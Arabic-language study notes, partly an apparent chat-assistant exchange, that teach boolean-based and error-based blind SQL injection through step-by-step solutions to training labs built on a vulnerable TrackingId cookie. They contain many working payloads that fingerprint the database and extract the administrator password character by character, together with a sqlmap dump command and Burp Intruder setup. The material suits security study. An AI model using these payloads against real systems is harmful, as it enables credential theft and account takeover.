أولاً: ما هو Blind SQL Injection؟
SQL Injection هو إنك تدخل SQL code داخل input في الموقع فيتم تنفيذه داخل قاعدة البيانات.
لكن في النوع ده:
Blind SQL Injection
المشكلة إن الموقع لا يعرض نتيجة الـ query.
يعني:
-
لا يظهر database errors
-
لا يظهر data من database
-
الصفحة تقريباً ثابتة
لكن الموقع يتغير سلوكه بشكل بسيط.
مثلاً:
-
يظهر message
-
لا يظهر message
-
الصفحة تتأخر
-
الصفحة تختلف
ومن هنا يبدأ الاستغلال.
ثانياً: لماذا يسمى Blind ؟
لأنك لا ترى البيانات مباشرة.
بدل أن ترى:
administrator : password123
أنت فقط ترى:
-
True
-
False
مثل لعبة 20 سؤال.
ثالثاً: مثال التطبيق الموجود في النص
الموقع يستخدم Tracking Cookie.
الطلب يكون مثل:
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
الموقع يأخذ هذا الـ cookie ويعمل query في قاعدة البيانات.
SELECT TrackingId
FROM TrackedUsers
WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
الفكرة:
الموقع يريد معرفة:
هل هذا المستخدم زار الموقع قبل ذلك؟
لو وجد القيمة في الجدول يظهر:
Welcome back
لو لم يجدها لا يظهر الرسالة.
رابعاً: أين الثغرة؟
القيمة توضع مباشرة داخل SQL:
WHERE TrackingId = 'USER_INPUT'
إذا لم يتم sanitization يمكن إدخال SQL.
مثلاً:
TrackingId=xyz' AND '1'='1
فتصبح query:
SELECT TrackingId
FROM TrackedUsers
WHERE TrackingId = 'xyz' AND '1'='1'
الشرط:
'1'='1'
دائماً True.
خامساً: اختبار True و False
نجرب شرطين.
الطلب الأول
TrackingId=xyz' AND '1'='1
query تصبح:
WHERE TrackingId='xyz' AND '1'='1'
النتيجة:
True
إذن يظهر:
Welcome back
الطلب الثاني
TrackingId=xyz' AND '1'='2
query:
WHERE TrackingId='xyz' AND '1'='2'
الشرط:
1 = 2
False
النتيجة:
لا يظهر
Welcome back
إذن أصبح لدينا Oracle يخبرنا إن الشرط:
-
True
-
False
وهذا يكفي لاستخراج أي بيانات من قاعدة البيانات.
سادساً: استخراج البيانات
نفترض وجود جدول:
Users
وهو يحتوي:
Username
Password
وفيه مستخدم:
Administrator
هدفنا استخراج:
Password
سابعاً: فكرة استخراج الباسورد
نستخرج حرف حرف.
الباسورد مثل:
secretpass
لكن نحن لا نراه.
فنبدأ نسأل قاعدة البيانات.
ثامناً: معرفة أول حرف
نستخدم دالة:
SUBSTRING()
وهي ترجع حرف من النص.
مثال:
SUBSTRING('secret',1,1)
يرجع:
s
تاسعاً: أول payload
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username='Administrator'),1,1) > 'm
خلينا نفكها.
الجزء الأول
SELECT Password FROM Users WHERE Username='Administrator'
يرجع:
secretpass
الجزء الثاني
SUBSTRING(password,1,1)
يعني:
أول حرف
s
الشرط
s > m
في ASCII:
s أكبر من m
إذن الشرط:
True
بالتالي:
Welcome back
ظهر.
عاشراً: تجربة أخرى
نجرب:
t
payload:
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username='Administrator'),1,1) > 't
الحرف الحقيقي:
s
هل:
s > t ?
لا.
False.
إذن:
لا يظهر
Welcome back
الحادي عشر: تحديد الحرف
نجرب:
= s
payload:
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username='Administrator'),1,1)='s
الشرط صحيح.
إذن نعرف:
الحرف الأول = s
الثاني عشر: نكرر العملية
الحرف الثاني:
SUBSTRING(password,2,1)
الحرف الثالث:
SUBSTRING(password,3,1)
وهكذا.
حتى نحصل على:
secretpass
الثالث عشر: لماذا يستخدمون > بدلاً من = ؟
لأنها تسمح باستخدام Binary Search.
بدل تجربة:
a
b
c
d
...
يمكن تضييق المجال بسرعة.
مثال:
m
t
p
وهكذا.
الرابع عشر: الأدوات التي تعمل ذلك تلقائياً
مثل:
- sqlmap
مثلاً:
sqlmap -u http://site.com --cookie="TrackingId=xyz" --dump
يقوم باستخراج البيانات تلقائياً.
خلاصة الفكرة
Blind SQL Injection يعتمد على:
1️⃣ حقن شرط SQL
2️⃣ ملاحظة سلوك التطبيق
3️⃣ استنتاج True أو False
4️⃣ استخراج البيانات حرف حرف
لمرحلة 1 — التأكد أن هناك Blind SQL Injection
أول خطوة تشوف هل الشرط يغير رد الموقع.
مثلاً في الـ cookie:
TrackingId=xyz' AND '1'='1
لو ظهر:
Welcome back
نجرب:
TrackingId=xyz' AND '1'='2
لو الرسالة اختفت → إذن عندنا Boolean based blind injection.
المرحلة 2 — معرفة نوع قاعدة البيانات
قبل ما نستخرج الداتا لازم نعرف نوع الـ DB.
هل هي:
-
MySQL
-
PostgreSQL
-
MSSQL
-
Oracle
مثلاً نجرب function خاصة بكل DB.
مثال MySQL:
xyz' AND database() IS NOT NULL-- -
لو True → غالباً MySQL.
الدالة:
database()
ترجع اسم الداتا بيز الحالية.
ما معنى True و False في Blind SQLi؟
في Boolean-based blind SQLi أنت لا ترى نتيجة الـ query، لذلك تعتمد على اختلاف في الـ response.
الاختلاف قد يكون في:
1️⃣ ظهور نص معين في الصفحة
2️⃣ اختفاء نص
3️⃣ اختلاف طول الصفحة
4️⃣ redirect
5️⃣ اختلاف HTML
لكن status code غالباً يظل 200 في الحالتين.
مثال من السيناريو الذي شرحناه
الـ payload:
xyz' AND '1'='1
النتيجة:
الصفحة تظهر فيها:
Welcome back
إذن الشرط True.
payload الثاني:
xyz' AND '1'='2
النتيجة:
الرسالة لا تظهر.
إذن الشرط False.
لاحظ أن:
HTTP/1.1 200 OK
قد يكون نفسه في الحالتين.
مثال حقيقي أثناء الفحص
Response عندما الشرط True:
Welcome back
Products
Categories
Response عندما الشرط False:
Products
Categories
الفرق الوحيد:
Welcome back
اختفت.
أحياناً الفرق يكون في حجم الصفحة
مثلاً:
True:
Response length = 5340
False:
Response length = 5211
وهنا الأدوات مثل:
-
Burp Suite
-
sqlmap
تعتمد على response length.
متى نستخدم status code؟
نادراً، لكن ممكن.
مثلاً:
True →
200 OK
False →
302 Redirect
لكن هذا ليس الأكثر شيوعاً.
خلاصة الفكرة
في Blind SQL Injection:
True لا تعني:
HTTP 200
بل تعني:
الشرط الذي حقنته جعل التطبيق يتصرف بشكل مختلف.
لو حابب، أقدر أشرح لك كمان أخطر نقطة في Blind SQLi واللي كثير من الناس لا يفهمها صح:
إزاي تفرق بين:
-
Boolean Based Blind
-
Time Based Blind
-
Conditional Error
لأن التلاتة يندرجوا تحت Blind SQL Injection لكن طريقة الاستغلال مختلفة تماماً 🔥.
AND database() IS NOT NULL-- - حلو هنا رجع false
تمام، خلينا نفهم ليه الـ payload:
AND database() IS NOT NULL-- -
رجع False عندك. الموضوع له كذا احتمال، ودي طريقة التفكير اللي يمشي بها أي شخص يعمل Penetration Testing عند اختبار Blind SQL Injection.
أول احتمال (الأكثر شيوعًا)
الـ database مش MySQL.
الدالة:
database()
خاصة بـ MySQL.
لو الموقع يستخدم مثلاً:
-
Microsoft SQL Server
-
PostgreSQL
-
Oracle Database
فالـ query هتفشل أو ترجع False.
ثاني احتمال
الـ syntax نفسه كسر الـ query.
مثلاً لو الـ query الأصلية:
SELECT TrackingId
FROM TrackedUsers
WHERE TrackingId = 'xyz'
وأنت حقنت:
xyz' AND database() IS NOT NULL-- -
تصبح:
WHERE TrackingId='xyz' AND database() IS NOT NULL
لكن لو الدالة غير موجودة في الـ DB سيحدث error داخلي، والموقع يعامله كـ False.
ماذا تفعل الآن؟ (الخطوة الصحيحة)
نبدأ نختبر database type fingerprinting.
اختبار MSSQL
' AND DB_NAME() IS NOT NULL-- -
اختبار PostgreSQL
' AND current_database() IS NOT NULL-- -
اختبار Oracle
' AND 'a'='a
(Oracle غالباً يتصرف بطريقة مختلفة مع بعض functions).
طريقة أكثر ذكاء
بدلاً من اختبار DB مباشرة، نبدأ بشيء بسيط:
' AND 1=1-- -
و
' AND 1=2-- -
لو الفرق واضح → إذن Boolean blind يعمل.
بعدها نجرب استخراج شيء عام مثل طول النص.
مثال payload أكثر أماناً
' AND LENGTH('abc')=3-- -
لو True → DB تدعم LENGTH().
لو False → قد تكون تستخدم:
LEN()
في Microsoft SQL Server.
التكنيك الذي يستخدمه المحترفون
الأدوات مثل:
-
sqlmap
-
Burp Suite
تعمل DB fingerprinting تلقائياً عن طريق اختبار عشرات الدوال.
أهم نقطة لازم تنتبه لها
في Blind SQLi
False لا يعني دائماً أن الشرط خطأ.
قد يعني:
-
syntax error
-
function غير موجودة
-
database مختلفة
✅ نصيحتي في هذه المرحلة:
جرب بالترتيب:
' AND 1=1-- -
ثم
' AND LENGTH('abc')=3-- -
ثم
' AND LEN('abc')=3-- -
وبعدها نعرف نوع الـ DB.
LAB SOLVE ;
1️⃣ اعتراض الطلب باستخدام Burp
أنت تفتح الصفحة الرئيسية للمتجر، والـ request يكون فيه cookie مثل:
Cookie: TrackingId=xyz
السيرفر غالبًا يعمل query مثل:
SELECT * FROM tracking WHERE TrackingId='xyz'
لو لم يتم sanitize للـ input يمكننا كسر الـ query.
2️⃣ اختبار وجود SQL Injection
نغيّر قيمة الـ cookie إلى:
TrackingId=xyz' AND '1'='1
ماذا يحدث في السيرفر؟
الـ query تصبح:
SELECT * FROM tracking
WHERE TrackingId='xyz' AND '1'='1'
الشرط:
'1'='1'
هذا True دائماً.
لو ظهر في الصفحة:
Welcome back
إذن الشرط صحيح.
التجربة الثانية
TrackingId=xyz' AND '1'='2
الـ query تصبح:
SELECT * FROM tracking
WHERE TrackingId='xyz' AND '1'='2'
الشرط:
1 = 2
False.
إذن لن تظهر رسالة:
Welcome back
💡 هنا تأكدنا أن الموقع يتصرف حسب نتيجة الشرط → وهذا يعني وجود Boolean Blind SQL Injection.
3️⃣ اختبار وجود جدول users
نرسل:
TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a
تحليل الكود
SELECT 'a'
يعني:
ارجع القيمة a
لكن من الجدول:
users
مع:
LIMIT 1
أي:
خذ صف واحد فقط
إذن:
(SELECT 'a' FROM users LIMIT 1)
النتيجة ستكون:
a
لو الجدول موجود.
ثم نقارن:
a = a
True.
إذن ظهور Welcome back يعني:
table users exists
4️⃣ اختبار وجود مستخدم administrator
الطلب:
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a
تحليل الكود
الـ subquery:
SELECT 'a'
FROM users
WHERE username='administrator'
المعنى:
لو يوجد صف username=administrator
ارجع a
ثم المقارنة:
a = a
إذن True.
وهذا يؤكد أن المستخدم موجود.
5️⃣ معرفة طول الباسورد
الطلب:
TrackingId=xyz' AND (SELECT 'a' FROM users
WHERE username='administrator'
AND LENGTH(password)>1)='a
تحليل الكود
الشرط:
LENGTH(password) > 1
أي:
هل طول الباسورد أكبر من 1؟
لو True يظهر:
Welcome back
نزيد الرقم تدريجياً
LENGTH(password)>2
LENGTH(password)>3
LENGTH(password)>4
حتى تختفي الرسالة.
مثلاً لو:
20 → False
19 → True
إذن:
password length = 20
6️⃣ استخراج الحروف باستخدام SUBSTRING
الـ payload يصبح:
TrackingId=xyz' AND
(SELECT SUBSTRING(password,1,1)
FROM users WHERE username='administrator')='a
تحليل الكود
SUBSTRING(password,1,1)
المعنى:
خذ من password
الحرف رقم 1
بطول 1
مثلاً لو الباسورد:
secret123
النتيجة:
s
المقارنة
's' = 'a'
False.
فنغير الحرف:
'b'
'c'
'd'
حتى يصبح True.
7️⃣ استخدام Burp Intruder لتجربة الحروف
بدلاً من تجربة كل حرف يدويًا.
نرسل الطلب إلى:
Burp Suite → Intruder
ونضع payload:
TrackingId=xyz' AND
(SELECT SUBSTRING(password,1,1)
FROM users WHERE username='administrator')='§a§
الرمز:
§ §
يعني:
هذا مكان تغيير الـ payload
8️⃣ تحديد الحروف الممكنة
نضع payload list:
a-z
0-9
لأن الباسورد غالباً:
lowercase alphanumeric
9️⃣ تحديد علامة النجاح
في Intruder نضيف:
Welcome back
في Grep - Match
حتى يعرف Burp متى يكون الشرط True.
🔟 قراءة النتائج
في النتائج سيظهر عمود:
Welcome back
وأحد الصفوف سيكون فيه ✔.
مثلاً:
payload = s
إذن:
first character = s
11️⃣ استخراج باقي الحروف
نغير:
SUBSTRING(password,1,1)
إلى:
SUBSTRING(password,2,1)
ثم:
3
4
5
حتى:
20
لأن طول الباسورد = 20.
12️⃣ النتيجة النهائية
بعد استخراج كل الحروف نحصل على:
password = **
ثم تذهب لصفحة login:
My account
وتدخل:
username = administrator
password = extracted_password
وبذلك تحل الـ lab 🎯.
💡 معلومة مهمة:
الأداة sqlmap تقوم بكل هذه الخطوات تلقائيًا، لكنها في الـ labs الهدف هو فهم المنطق.
ERROR BASED SQL INJECTION
الفكرة الأساسية (Concept)
في بعض المواقع:
-
الـ response لا يتغير سواء الشرط True أو False
-
مفيش Welcome back
-
مفيش فرق في HTML
يعني Boolean Blind SQL Injection لا يعمل.
لكن ممكن نعمل حاجة ذكية:
💡 نجعل الـ database يعمل Error فقط لو الشرط True
وبعدها نلاحظ:
| الحالة | نتيجة السيرفر |
|---|---|
| الشرط False | الصفحة طبيعية |
| الشرط True | يظهر Error |
وبالتالي نعرف نتيجة الشرط.
أول Payload
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
خلينا نفكها.
1️⃣ كسر الـ SQL Query
الـ cookie:
TrackingId=xyz
غالباً الاستعلام يكون مثل:
SELECT * FROM tracking
WHERE TrackingId='xyz'
بعد الـ injection يصبح:
SELECT * FROM tracking
WHERE TrackingId='xyz'
AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a'
2️⃣ فهم CASE
في SQL عندنا:
CASE
WHEN condition
THEN value1
ELSE value2
END
مثل if statement في البرمجة.
مثال:
CASE
WHEN 5 > 3 THEN 'yes'
ELSE 'no'
END
النتيجة:
yes
3️⃣ تحليل الكود
CASE WHEN (1=2) THEN 1/0 ELSE 'a' END
نقيم الشرط:
1=2
False.
إذن:
ELSE 'a'
النتيجة:
a
4️⃣ المقارنة
الـ query يصبح:
'a' = 'a'
True.
ولا يوجد Error.
Payload الثاني
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
تحليل الكود
الشرط:
1 = 1
True.
إذن:
THEN 1/0
ماذا يحدث هنا؟
1/0
يعني:
divide by zero
وهذا يسبب:
Database error
مثل:
division by zero
ماذا نستفيد؟
لو لاحظنا:
| الحالة | النتيجة |
|---|---|
| condition False | الصفحة طبيعية |
| condition True | Error |
إذن يمكننا معرفة نتيجة الشرط.
استخدام التقنية لاستخراج البيانات
الـ Payload يصبح:
xyz' AND (
SELECT CASE
WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm')
THEN 1/0
ELSE 'a'
END
FROM Users)='a
خلينا نشرحه بالتفصيل.
الجزء الأول
SELECT ... FROM Users
نحن نستعلم من جدول:
Users
الشرط
Username = 'Administrator'
يعني:
اختر صف administrator
استخراج حرف من الباسورد
SUBSTRING(Password, 1, 1)
المعنى:
خذ من Password
الحرف رقم 1
بطول 1
مثال:
password = secret123
النتيجة:
s
المقارنة
SUBSTRING(password,1,1) > 'm'
يعني:
هل الحرف:
أكبر من m
حسب ترتيب ASCII.
مثال
لو الحرف:
s
المقارنة:
s > m
True.
ماذا يحدث بعدها؟
لو الشرط True:
THEN 1/0
إذن:
Database Error
لو False:
ELSE 'a'
ولا يحدث Error.
ماذا نستنتج؟
من الـ response:
| response | الاستنتاج |
|---|---|
| Error | الحرف > m |
| No error | الحرف ≤ m |
لماذا هذا مهم؟
لأننا نستطيع استخدام Binary Search لاستخراج الحرف بسرعة.
مثلاً:
بدلاً من تجربة:
a
b
c
d
...
z
نفعل:
m
t
g
حتى نصل للحرف.
مثال استخراج حرف
نبدأ:
m
لو Error:
الحرف بين n و z
نجرب:
t
لو False:
بين n و t
ثم:
q
وهكذا.
لماذا هذه الطريقة قوية؟
في Blind SQL Injection العادي:
عدد الطلبات للحرف:
36 request
لكن باستخدام Binary Search:
5 requests فقط
الخلاصة
الـ Error-based Blind SQLi يعمل كالتالي:
1️⃣ نضع شرط
2️⃣ لو True نسبب database error
3️⃣ لو False لا يحدث شيء
4️⃣ نلاحظ الفرق في HTTP response
5️⃣ نستخرج البيانات حرفًا حرفًا
أكواد معرفة نوع ال DB for BLIND SQL INJECTION ERROR BASED:
MySQL / MariaDB
الأكواد الخاصة بـ MySQL:
database()
ترجع اسم الداتا بيز الحالية.
Payload
TrackingId=xyz' AND (SELECT CASE WHEN (database() IS NOT NULL) THEN 1/0 ELSE 'a' END)='a
شرح
database()
Function موجودة فقط في MySQL.
إذا اشتغلت:
condition = True
إذن:
1/0
→ يحدث divide by zero error
إذن الداتا بيز غالبًا:
MySQL
2️⃣ PostgreSQL
في PostgreSQL اسم الداتا بيز يحصل عليه بـ:
current_database()
Payload
TrackingId=xyz' AND (SELECT CASE WHEN (current_database() IS NOT NULL) THEN 1/0 ELSE 'a' END)='a
شرح
current_database()
Function خاصة بـ PostgreSQL.
لو الشرط True → يحدث Error.
إذن:
Database = PostgreSQL
3️⃣ Microsoft SQL Server
في Microsoft SQL Server نستخدم:
DB_NAME()
Payload
TrackingId=xyz' AND (SELECT CASE WHEN (DB_NAME() IS NOT NULL) THEN 1/0 ELSE 'a' END)='a
شرح
DB_NAME()
ترجع اسم الداتا بيز.
لو اشتغلت → غالبًا SQL Server.
4️⃣ Oracle
في Oracle Database يوجد اختلافين مهمين:
1️⃣ يجب استخدام table في SELECT
2️⃣ يوجد جدول وهمي اسمه
dual
Payload
TrackingId=xyz'||(SELECT '' FROM dual)||'
شرح
SELECT '' FROM dual
Oracle يتطلب تحديد table.
لو اشتغل بدون Error:
Database = Oracle
5️⃣ SQLite
في SQLite يوجد جدول خاص:
sqlite_master
Payload
TrackingId=xyz' AND (SELECT name FROM sqlite_master LIMIT 1)='a
شرح
sqlite_master
يحتوي كل الجداول في SQLite.
لو لم يحدث Syntax Error → غالبًا SQLite.
الفرق بين قواعد البيانات بسرعة
| Database | Function مميزة |
|---|---|
| MySQL | database() |
| PostgreSQL | current_database() |
| SQL Server | DB_NAME() |
| Oracle | dual |
| SQLite | sqlite_master |
طريقة احترافية يستخدمها الـ Pentesters
بدلاً من تجربة Functions كثيرة، هناك Payload يكشف نوع DB بسرعة:
مثلاً:
'||(SELECT '' FROM dual)||'
لو نجح → غالبًا Oracle.
أو:
AND @@version
لو نجح → غالبًا SQL Server أو MySQL.
ERROR BASED SQL INJECTION LABS:
1-
اختبار وجود SQL Injection
نرسل:
TrackingId=xyz'
ماذا يحدث؟
الـ query تصبح:
SELECT * FROM tracking WHERE TrackingId='xyz''
هنا حدث:
Unclosed quote
يعني:
SQL syntax error
فتظهر رسالة خطأ.
3️⃣ اختبار إغلاق الـ quote
نجرب:
TrackingId=xyz''
الـ query تصبح:
TrackingId='xyz'''
هنا تم إغلاق الاقتباس بشكل صحيح لذلك الـ error يختفي.
هذا يدل أن:
الـ input يدخل داخل SQL query
4️⃣ إدخال Subquery
نرسل:
TrackingId=xyz'||(SELECT '')||'
شرح الرموز
||
في Oracle يعني:
String concatenation
مثل:
"abc" + "def"
لكن في SQL.
تحليل الكود
xyz' || (SELECT '') || '
يعني:
"xyz" + نتيجة الاستعلام + ""
لكن Oracle يتطلب table في SELECT لذلك يحدث Error.
5️⃣ استخدام جدول dual
نرسل:
TrackingId=xyz'||(SELECT '' FROM dual)||'
ما هو dual ؟
في Oracle Database يوجد جدول وهمي اسمه:
dual
يستخدم عندما تريد SELECT بدون جدول حقيقي.
مثال:
SELECT 1 FROM dual
ماذا حدث؟
الـ query أصبحت صحيحة.
لذلك الخطأ اختفى.
وهذا يؤكد أن:
Database = Oracle
6️⃣ اختبار Query غير موجود
نرسل:
TrackingId=xyz'||(SELECT '' FROM not-a-real-table)||'
هنا نحاول الاستعلام من جدول غير موجود.
النتيجة:
Database error
وهذا يؤكد أن:
الـ input يتم تفسيره كـ SQL query
7️⃣ اختبار وجود جدول users
نرسل:
TrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||'
شرح
users
جدول نريد معرفة وجوده.
ما هو ROWNUM ؟
في Oracle لا يوجد:
LIMIT
بدل ذلك يستخدم:
ROWNUM
مثال:
ROWNUM = 1
يعني:
خذ صف واحد فقط
لماذا مهم؟
لو رجع الاستعلام أكثر من صف:
String concatenation fails
لذلك نحدد صف واحد.
النتيجة
لا يوجد Error.
إذن:
table users exists
8️⃣ تنفيذ Error-based condition
نرسل:
TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
شرح CASE
CASE
WHEN condition
THEN value1
ELSE value2
END
مثل:
if statement
تحليل الكود
1 = 1
True.
إذن:
THEN TO_CHAR(1/0)
ماذا يعني 1/0 ؟
Divide by zero
وهذا يسبب:
Database error
لماذا TO_CHAR ؟
لأننا داخل:
string concatenation
يجب تحويل الرقم إلى نص.
9️⃣ اختبار False condition
نرسل:
TrackingId=xyz'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
هنا:
1 = 2
False.
إذن:
ELSE ''
ولا يحدث Error.
ماذا تعلمنا؟
يمكننا:
إحداث Error فقط إذا كان الشرط True
وهذا أساس Error-based SQL Injection.
🔟 اختبار وجود administrator
نرسل:
TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
ماذا يحدث؟
لو كان المستخدم موجود:
query returns row
إذن الشرط ينفذ:
1/0
ويحدث Error.
إذن:
administrator exists
11️⃣ معرفة طول الباسورد
نرسل:
TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>1 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
شرح LENGTH
LENGTH(password)
يعني:
عدد حروف الباسورد
الفكرة
نجرب:
1
2
3
4
حتى يختفي الـ Error.
مثال:
| Payload | Error |
|---|---|
| >19 | yes |
| >20 | no |
إذن:
password length = 20
12️⃣ استخراج الحروف
نستخدم:
SUBSTR
payload:
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
شرح SUBSTR
SUBSTR(text, position, length)
مثال:
SUBSTR('secret',1,1)
النتيجة:
s
الفكرة
نجرب:
a
b
c
d
...
z
0
1
2
...
9
لو حدث Error → الحرف صحيح.
13️⃣ استخدام Burp Intruder
بدل التجربة اليدوية.
نضع:
§a§
مثل:
SUBSTR(password,1,1)='§a§'
هذا يعني:
payload position
Payload list
a-z
0-9
14️⃣ معرفة الحرف الصحيح
النتائج في Intruder:
| Payload | Status |
|---|---|
| a | 200 |
| b | 200 |
| s | 500 |
ماذا يعني 500 ؟
HTTP 500
يعني:
Server error
أي حدث:
1/0
إذن:
first character = s
15️⃣ استخراج باقي الحروف
نغير:
SUBSTR(password,1,1)
إلى:
SUBSTR(password,2,1)
ثم:
3
4
5
...
20
حتى نحصل على الباسورد بالكامل.
16️⃣ تسجيل الدخول
بعد استخراج الباسورد:
نذهب إلى:
My account
ونسجل الدخول:
username = administrator
password = extracted_password
وبذلك يتم حل اللاب.